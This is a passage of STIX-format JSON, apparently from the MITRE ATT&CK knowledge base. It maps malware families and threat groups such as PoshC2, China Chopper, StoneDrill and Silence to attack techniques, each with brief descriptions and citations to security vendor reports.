            "type": "relationship",
            "modified": "2021-04-14T12:05:32.626Z",
            "created": "2019-04-22T22:03:26.377Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) can overwrite files with random data before deleting them.(Citation: Unit 42 Kazuar May 2017)",
            "relationship_type": "uses",
            "id": "relationship--333bd465-8713-4918-b60d-6128c52cbf04",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.815Z",
            "created": "2019-04-22T22:28:28.598Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.(Citation: Volexity PowerDuke November 2016)",
            "relationship_type": "uses",
            "id": "relationship--5135ba35-04b7-4cfc-bc6c-03f63206e757",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.289Z",
            "created": "2019-04-22T22:31:38.289Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can overwrite files indicated by the attacker before deleting them.(Citation: McAfee GhostSecret)",
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                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for enumerating domain trusts.(Citation: Github PowerShell Empire)",
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) has modules for brute forcing local administrator and AD user accounts.(Citation: GitHub PoshC2)",
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                }
            ],
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                }
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                }
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                }
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can utilize multiple methods to bypass UAC.(Citation: GitHub PoshC2)",
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                }
            ],
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules for local privilege escalation exploits such as CVE-2016-9192 and CVE-2016-0099.(Citation: GitHub PoshC2)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "source_name": "Lee 2013"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can upload local files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)",
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains multiple modules for injecting into processes, such as <code>Invoke-PSInject</code>.(Citation: GitHub PoshC2)",
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-RunAs to make tokens.(Citation: GitHub PoshC2)",
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                }
            ],
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            ],
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                {
                    "source_name": "GitHub PoshC2",
                    "url": "https://github.com/nettitude/PoshC2_Python",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."
                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for compressing data using ZIP.(Citation: GitHub PoshC2)",
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            ],
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            ],
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can spider authentication portals.(Citation: FireEye Periscope March 2018)",
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            ],
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s client component is packed with UPX.(Citation: Lee 2013)",
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            "description": "[Ebury](https://attack.mitre.org/software/S0377) has intercepted unencrypted private keys as well as private key pass-phrases.(Citation: ESET Ebury Feb 2014)\t",
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            "description": "[Ebury](https://attack.mitre.org/software/S0377) has encoded C2 traffic in hexadecimal format.(Citation: ESET Ebury Feb 2014)\t",
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                }
            ],
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can change the timestamp of files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)",
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            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate service and service permission information.(Citation: GitHub PoshC2)",
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as <code>Get-LocAdm</code> for enumerating permission groups.(Citation: GitHub PoshC2)",
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use <code>Get-PassPol</code> to enumerate the domain password policy.(Citation: GitHub PoshC2)",
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                {
                    "source_name": "GitHub PoshC2",
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                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."
                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can perform port scans from an infected host.(Citation: GitHub PoshC2)",
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                }
            ],
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                }
            ],
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                }
            ],
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                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                },
                {
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
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            "description": "(Citation: FireEye APT33 Guardrail)(Citation: Symantec Elfin Mar 2019)",
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                }
            ],
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use protocols like HTTP/HTTPS for command and control traffic.(Citation: GitHub PoshC2)",
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                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "source_name": "BitDefender Chafer May 2020",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
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            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) initially downloads a hidden encoded file.(Citation: CoinTicker 2019)",
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            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) establishes outbound connections for command and control on ports 2280 and 1339.(Citation: CoinTicker 2019)",
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                }
            ],
            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.(Citation: CoinTicker 2019)",
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                }
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                {
                    "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/",
                    "source_name": "CoinTicker 2019"
                }
            ],
            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) decodes the initially-downloaded hidden encoded file using OpenSSL.(Citation: CoinTicker 2019)",
            "relationship_type": "uses",
            "id": "relationship--a6944696-304c-4813-8285-56275e926f9f",
            "type": "relationship",
            "modified": "2019-04-29T21:19:35.026Z",
            "created": "2019-04-23T20:46:57.182Z"
        },
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            "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023)  includes runtime checks to identify an analysis environment and prevent execution on it.(Citation: FireEye APT28)",
            "relationship_type": "uses",
            "id": "relationship--5edc2d20-2e9a-4587-9656-dfe38eb1d66d",
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            "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
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                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "description": "Some versions of [CozyCar](https://attack.mitre.org/software/S0046) will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.(Citation: F-Secure CozyDuke)",
            "relationship_type": "uses",
            "id": "relationship--8f88490e-346b-4462-b077-0211707c21a3",
            "type": "relationship",
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            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) checks for sandboxing libraries.(Citation: Talos Group123)(Citation: NCCGroup RokRat Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--8bbe5f67-f65e-4982-8897-7f7466fc0845",
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            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying.(Citation: Unit 42 Kazuar May 2017)",
            "relationship_type": "uses",
            "id": "relationship--f1eaa7b9-4320-4549-aaa5-f992aad3ae1e",
            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
            "relationship_type": "uses",
            "id": "relationship--36b27959-d265-4fb6-b33b-3a1e74d43206",
            "type": "relationship",
            "modified": "2020-03-16T18:36:00.142Z",
            "created": "2019-04-24T15:28:53.430Z"
        },
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used cmd.exe for execution.(Citation: Cybereason Cobalt Kitty 2017) ",
            "relationship_type": "uses",
            "id": "relationship--46e6fd22-1f0b-452c-bcf3-c24fe5911fd4",
            "type": "relationship",
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            "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
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            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
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            "source_ref": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4",
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            "relationship_type": "mitigates",
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            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has planted Web shells on Outlook Exchange servers.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--6b1cf025-d38b-4cf4-9595-e6799e522c5b",
            "type": "relationship",
            "modified": "2020-03-18T19:43:26.425Z",
            "created": "2019-04-24T19:45:44.177Z"
        },
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used ports 4444, 8531, and 50501 for C2.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--21b97ace-2b9b-4323-9067-5cf1a595e820",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.553Z",
            "created": "2019-04-24T19:45:44.189Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used port 443 for C2.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--1ef56254-5eb9-42b9-a714-865c49a8fefd",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.548Z",
            "created": "2019-04-24T19:45:44.197Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ",
                    "source_name": "FireEye TEMP.Veles 2018"
                },
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a publicly-available PowerShell-based tool, WMImplant.(Citation: FireEye TEMP.Veles 2018) The group has also used PowerShell to perform [Timestomp](https://attack.mitre.org/techniques/T1070/006)ing.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--a692f6c3-9082-4336-b52a-2a40556ee03d",
            "type": "relationship",
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            "created": "2019-04-24T19:50:33.740Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "external_references": [
                {
                    "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ",
                    "source_name": "FireEye TEMP.Veles 2018"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates.(Citation: FireEye TEMP.Veles 2018)",
            "relationship_type": "uses",
            "id": "relationship--60d2b385-14cf-454a-ac92-0d41e3ec397a",
            "type": "relationship",
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        },
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            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                },
                {
                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door",
                    "source_name": "Symantec Frutas Feb 2013"
                }
            ],
            "description": "[jRAT](https://attack.mitre.org/software/S0283) can browse file systems.(Citation: Kaspersky Adwind Feb 2016)(Citation: Symantec Frutas Feb 2013)",
            "relationship_type": "uses",
            "id": "relationship--7de1c513-5141-45ed-aeb0-b1b221f4dc3f",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door",
                    "source_name": "Symantec Frutas Feb 2013"
                }
            ],
            "description": "[jRAT](https://attack.mitre.org/software/S0283) can query and kill system processes.(Citation: Symantec Frutas Feb 2013)",
            "relationship_type": "uses",
            "id": "relationship--7c1e2638-ca07-4825-b7e8-43690912ce74",
            "type": "relationship",
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            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door",
                    "source_name": "Symantec Frutas Feb 2013"
                }
            ],
            "description": "[jRAT](https://attack.mitre.org/software/S0283) collects information about the OS (version, build type, install date) as well as system up-time upon receiving a connection from a backdoor.(Citation: Symantec Frutas Feb 2013)",
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                    "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.",
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            ],
            "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses the [Forfiles](https://attack.mitre.org/software/S0193) utility to execute commands on the system.(Citation: Cofense RevengeRAT Feb 2019)",
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                    "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/",
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                }
            ],
            "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses the PowerShell command <code>Reflection.Assembly</code> to load itself into memory to aid in execution.(Citation: Cofense RevengeRAT Feb 2019)",
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            "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses cmd.exe to execute commands and run scripts on the victim's machine.(Citation: Cofense RevengeRAT Feb 2019)",
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            "type": "relationship",
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            ],
            "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses mshta.exe to run malicious scripts on the system.(Citation: Cofense RevengeRAT Feb 2019)",
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                }
            ],
            "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) schedules tasks to run malicious scripts at different intervals.(Citation: Cofense RevengeRAT Feb 2019)",
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            "type": "relationship",
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                }
            ],
            "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) used blogpost.com as its primary command and control server during a campaign.(Citation: Cofense RevengeRAT Feb 2019)",
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                    "description": "Boutin, J. and Faou, M. (2018). Visiting the snake nest. Retrieved May 7, 2019."
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.(Citation: ESET Recon Snake Nest)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
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                    "source_name": "Chaos Stolen Backdoor",
                    "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.",
                    "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"
                }
            ],
            "description": "After initial compromise, [Chaos](https://attack.mitre.org/software/S0220) will download a second stage to establish a more permanent presence on the affected system.(Citation: Chaos Stolen Backdoor)",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can take screenshots.(Citation: Kaspersky StoneDrill 2017)\t",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has the capability to discover the system OS, Windows version, architecture and environment.(Citation: Kaspersky StoneDrill 2017)\t",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has used the WMI command-line (WMIC) utility to run tasks.(Citation: Kaspersky StoneDrill 2017)",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has a disk wiper module that targets files other than those in the Windows directory.(Citation: Kaspersky StoneDrill 2017)",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has obfuscated its module with an alphabet-based table or XOR encryption.(Citation: Kaspersky StoneDrill 2017)",
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            ],
            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the accessible physical or logical drives of the infected machine.(Citation: Symantec Elfin Mar 2019)\t",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the master boot record of an infected computer.(Citation: Symantec Elfin Mar 2019)",
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                    "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/",
                    "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."
                }
            ],
            "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used HTTP for network communication.(Citation: Lab52 WIRTE Apr 2019)\t",
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                }
            ],
            "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used VBS scripts throughout its operation.(Citation: Lab52 WIRTE Apr 2019)\t",
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                    "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/",
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                }
            ],
            "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used PowerShell for script execution.(Citation: Lab52 WIRTE Apr 2019)",
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                    "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/",
                    "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."
                }
            ],
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            "relationship_type": "uses",
            "id": "relationship--cecf4306-a80e-4e65-b701-7e934adc6c42",
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                    "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/",
                    "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."
                }
            ],
            "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used Regsvr32.exe to trigger the execution of a malicious script.(Citation: Lab52 WIRTE Apr 2019)",
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                }
            ],
            "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has decoded a base64 encoded document which was embedded in a VBS script.(Citation: Lab52 WIRTE Apr 2019)",
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                }
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                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has been observed making videos of victims to observe bank employees day to day activities.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--5e60c70a-7b2f-45b8-b7d4-80e214acfb2d",
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                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
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                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)\t",
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            "id": "relationship--ccd99593-7ff0-4706-aa94-73cc8d237fe8",
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                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
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                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used environment variable string substitution for obfuscation.(Citation: Cyber Forensicator Silence Jan 2019)",
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                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has leveraged the Windows API, including using CreateProcess() or ShellExecute(), to perform a variety of tasks.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
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                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                },
                {
                    "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.",
                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Aug 2019",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf",
                    "description": "Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020."
                },
                {
